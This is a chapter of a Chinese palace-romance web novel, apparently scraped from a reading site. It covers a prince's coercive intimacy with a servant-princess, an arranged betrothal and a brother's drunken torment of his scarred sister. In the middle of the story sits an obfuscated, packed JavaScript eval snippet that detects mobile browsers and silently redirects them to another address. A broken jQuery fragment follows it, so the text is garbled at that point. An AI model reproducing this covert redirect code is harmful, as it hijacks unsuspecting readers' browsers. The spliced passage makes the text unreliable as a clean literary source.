89. 第八十九章

作品:《掌中刺

    听到茶室开门的动静,余长赶忙吩咐人送午膳进来。


    暖阁瞬间涌进两列仆役。


    拐角处,月澜蹙起眉头,踌躇着停住脚步。


    将被拉住的手往回缩了缩,小声嚷嚷,


    “人……”


    刘巽手臂轻轻用力,软乎乎的小身子撞进怀里。


    他挑眉道:


    “又怕什么?”


    隔着朦胧的轻纱,月澜却依旧眼神躲闪,五指用力着想脱出他的掌心,


    “传出去,不好。”


    他嗤笑一声,


    “哪儿那么多废话。”


    说罢,揽着她,继续往前。


    “不要。”


    月澜另一只手死死扣住雕花隔断,磨蹭着不愿抬步。


    刘巽的剑眉微蹙,


    “又犟?”


    他随手将她高高抱了起来。


    “殿下!快放我下来。”


    她的后背被抵在隔断上,硬邦邦硌得慌。


    撩开碍眼的轻纱,刘巽探入她的幂篱,冷脸盯着她,


    “乖些。”


    薄薄一层轻纱之下,两人几乎面贴面。


    空间狭窄,冷杉香与沁甜氤氲交织。


    月澜的呼吸越来越急促,她小脸发烫,不敢看他。


    外间的仆役们摆置碗碟,饭菜香渐渐传开。


    拐角处的两人却还僵持着。


    刘巽抱着她走,羞怯的少女却死活不肯撒手隔断。


    他又重新将她抵了回去。


    月澜后背吃痛,


    “嘶……疼。”


    刘巽掐住她的腰,


    “别逼本王让你更疼。”


    饭菜香更加浓郁,她也着急,


    “我自己走,不然饭菜凉了。”


    “高月澜,别忘了自己的身份,本王为何要听一个粗使小婢的话。”


    月澜垂下眸,委屈道:


    “就算是侍婢,也要脸面。”


    “呵。”啄上她不听话的唇,安抚似的轻轻碰了碰伤处。


    才一个恍惚,月澜便感觉到手腕突然一麻,五指脱力从隔断上滑了下来。


    刘巽将她稳稳按进怀里,面无表情走出拐角。


    “呃。”看这情形,余长眼皮子一跳,赶紧吩咐道:


    “快,都下去。”


    “慢着。”


    仆役们才刚抬脚,听到冷冰冰的命令,只好又站回原处。


    月澜缩在他的怀里,头脸脖颈涨得通红。


    刘巽坐上主位,却依旧不肯将人放开。


    他姿态慵懒,环着僵硬呆滞的她,


    “布菜。”


    指节轻叩长案,好整以暇地瞧她缓缓动作。


    底下一圈儿的仆役们大气不敢出,余长也死死垂着脑袋。


    可月澜却局促得要命,仿佛人人都盯着自己。


    腰眼被他一戳,又痛又麻。


    她只得认命地捻起筷子,抬手去夹中间的鹿炙。


    戴着幂篱始终不太方便,轻纱扫在案上,十分掣肘。


    刘巽一把掀掉碍事的幂篱。


    眼前骤然清晰,月澜仿佛受惊的狍鹿,瞬间扭头撞进身后人的怀中。


    他无声地勾起唇,任由她躲躲藏藏。


    小姑娘又气又恼,声音却近乎耳语,嗔怪道:


    “殿下!我的伤若是被瞧见……”


    刘巽只揉了揉她的后脑勺,搂着她捻起筷子。


    他夹起一筷鱼腹,剃掉鱼皮,蘸上清爽的果露,


    “张嘴。”


    见她紧紧贴着自己的胸口不抬头,刘巽训道:


    “像什么样子,这会儿又不要脸面了?”


    她气呼呼,闷声道:


    “月澜的脸面早就丢尽了!”


    他捏住她的后脖颈,将人扯开半尺,


    “又给本王耍你的公主威风?”


    “我……”


    刚张口,鲜甜软嫩的鱼肉便进了嘴。


    许是埋头蹭的,她鼻尖红红,垂眸细嚼慢咽。


    刘巽饮了口热酒,两指捏住她的脸颊,一筷接一筷将吃食送入她的小嘴。


    纵然姿态强硬,却半点没有碰到她的伤处。


    被喂得太快,月澜连说一句话的空子也没有。


    最后,刘巽摸了摸她的小肚子,


    “饱了?”


    她艰难咽下最后一口米,重重点头。


    刘巽放下筷子,


    “都下去。”


    余长赶紧随仆役去往门外候着。


    待人走得一干二净,月澜终于放松下来,只是脸上依旧写满委屈。


    刘巽睨着她,


    “霈国公主当真是娇贵无双,本王亲自伺候,倒是叫你受了天大的委屈。”


    她眼睫轻颤,控诉道:


    “月澜以后再也没脸在府中走动了。”


    他笑着饮了口酒,轻敲她的脑门儿,


    “高月澜,你脑子里一天天都想得什么乱七八糟的东西。”


    她绞着袖口,


    “如此逾矩,定会遭人耻笑。自是无人敢说殿下,可月澜,只怕会被流言蜚语淹死。”


    刘巽摇晃酒杯,


    “你倒是说说,本王同自己的心腹小婢用膳,怎么就逾矩了?”


    “哼。”


    月澜拧着身子闷哼,一脸不情愿。


    重新将人揽进怀中,长指轻点在她的鼻尖,


    “若要止住流言蜚语,这第一个要割掉舌头的人,便是你。”


    说罢,他变戏法似的,随手拿出一只小金罐。取出里面的药,凉凉黏上她的唇。


    西都,北城门。


    已经是午后,天上的日头却没带来多少温暖,只把人刺得睁不开眼。


    辛如悦将车帘掀开一道缝,却忽又紧紧阖上,眉眼带笑。


    侍婢萍儿打趣道:


    “小姐不分白天黑夜地盯着姑爷的画像,如今到跟前了,又不敢看。”


    辛如悦看着小案上的缣帛,抿入一颗杏干,


    “仔细你的舌头!”


    车队停了下来,领头的壮汉翻身下马。


    申之忌迎上前,


    “哎呀,辛将军,可算把你们给盼来了。”


    辛纵拱手行礼,


    “拜见丞相大人,西凉事务繁忙,叔父便托了在下送小妹来西都,还望大人恕罪。”


    申之忌摆了摆手,


    “这是哪里话,只要两家能结秦晋之好,少些繁文缛节倒还松乏些。”


    他扯过申岳初,


    “岳初,还不快来见过辛将军。一会儿回了府,可要好生照看自己岳丈家来人。”


    申岳初只淡淡拱手,没有说话。


    申之忌捋着胡须,笑道:


    “岳初前些日子突发急症,熬得虚了一大截,辛将军莫见怪。”


    “嗨呀,不妨事,岳初兄弟可要好生休养。”辛纵拍了拍申岳初的肩头,


    “那咱们就快进去吧。”


    马车重新启程。


    萍儿悄悄移开目光,小声道:


    “小姐,姑爷当真与这画中人一模一样!”


    兖州崔府。


    崔煜承孤身立于亭下,俊朗的眉眼怔怔望着枯掉的芍药丛。


    “公子,公子……”


    小仆自远而近,匆匆而来却又欲言又止。


    崔煜承拧着眉头,只淡淡道:


    “还是没找到?”


    小仆捏紧手中的信,犹豫片刻后还是咬牙道:


    “找到了。”


    “什么?!”


    崔煜承毫无生气的脸上瞬间活了过来,他揪住小仆的衣领,


    “在哪儿?可将人接上了?”


    小仆满脸为难,小心翼翼道:


    “公子,您听到消息后可千万别生气。”


    “快说!”


    “婉小姐她,她被二公子接走了。”


    “你再说一遍?”


    “公子,小的前些日子派人去登封城接小姐,可是城中戒严,进出不得。等到开城再去打听,才发现小姐已经被接走。回来的人说,那些人一早就是二公子安插在登封城里的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410708|192821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    崔煜承一掌拍在亭柱上,


    “他要做什么?”


    眉头越来越深,


    “那他现在在何处?”


    “二公子如今驻扎在凉川城。”


    “凉川……”他来回踱步,


    “正好横在了小燕王与兖州腹地之间。他这是打算……威胁我?”


    小仆小心立在一旁,不敢出言。


    崔煜承思虑半晌,压低声音,


    “我等下写一封信,你即刻送去东安城。”


    “是。”小仆跟在他身后,


    “那婉小姐……?”


    崔煜承顿了顿,


    “能带回来便带回来,若不能……”


    他眼神一凛,


    “送她好上路。”


    凉川城。


    夜凉如水。


    城郊一处隐秘大宅只懒懒挂着两只有气无力的素绢灯笼。


    夜已深,宅子里却依旧传出绵延不绝的丝竹声。


    透过窗户,能看到满屋女子妖娆的剪影。


    影影绰绰,如鬼似魅。


    粉衣舞姬旋了个圈,坐上金冠公子的大腿,


    “公子,奴家这一舞,公子可还喜欢?”


    她捻起一只橘子,轻轻撕下果瓣上的白膜,


    “公子,张口。”


    丹蔻指尖搭上他的唇,有意无意地按揉。


    崔煜廷没有张口。


    手上揉捏女子的细腰,眼神却睨向角落的暗处。


    舞姬将腰扭得如水蛇一般,不满道:


    “公子……不准分心。”


    丹蔻细手开始不老实,顺着他的衣带游走。


    啪——


    崔煜廷一巴掌将女子扇下腿,


    “滚。”


    女子紧紧捂住脸,跪在地上簌簌发抖。


    他饮下一口酒,高声唤道:


    “妹妹。”


    见她不应。


    崔煜廷皱起眉,手中的酒杯瞬间被扔了出去。


    咔嚓——


    杯子应声碎裂,乐声戛然而止。


    望着眼前四分五裂的玉片,崔婉扬连眼睛都未眨一下。


    她靠着墙角,无声地笑了笑。


    崔煜廷直接提起酒壶,狠狠灌下,脸色肉眼可见地转红。


    他晃晃悠悠走向角落,大手捏住崔婉扬的衣领。


    “妹妹,听不见哥哥的话?”


    崔婉扬恨恨瞪着眼前人,


    “崔煜廷,有本事你就杀了我!”


    “杀你?”缓缓扯下她的面纱。


    似是看不到她脸上可怖的疤痕与刺青,他低下头,凑得极近,


    “妹妹貌若天仙,谁能忍心杀你?”


    他笑得疯癫,


    “哥哥怎舍得!”


    说罢,将她扯向主座处。


    灯火一照,那张脸愈发可怖,屋中的舞姬乐姬无不倒吸一口凉气。


    崔煜廷却不以为意,笑道:


    “躲在角落做什么,能看得清舞?”


    崔婉扬任由他摆布,眼睛里没有半点光亮。


    “都愣着做什么?给爷奏乐!接着舞。”


    他将崔婉扬箍在腿面,拿起案上的橘子,硬塞向她的嘴巴。


    她双唇紧闭,橘子汁被挤得到处都是。


    他甩了甩手,继续拿起第二瓣。


    第三瓣。


    ……


    舞姬们飞速旋转,乐声也越来越急。


    干瘪的橘瓣扔了满地。


    崔婉扬像个木偶,任由橘汁流满衣领。


    一曲终了。


    两行清泪缓缓从她眼角滴下。


    泪水滴到崔煜廷的手背,他却只笑了笑,


    “不喜欢橘子?”


    他拿起酒壶,


    “那就陪哥哥喝点儿。”


    嘴角依旧带着笑,可眼中,却冒着火星子。


    他高高悬起酒壶,酒液滴滴答答,淌向崔婉扬的头顶。


    发丝。


    眉眼。


    伤口。


    皆被烈酒滑过,激起阵阵刺痛。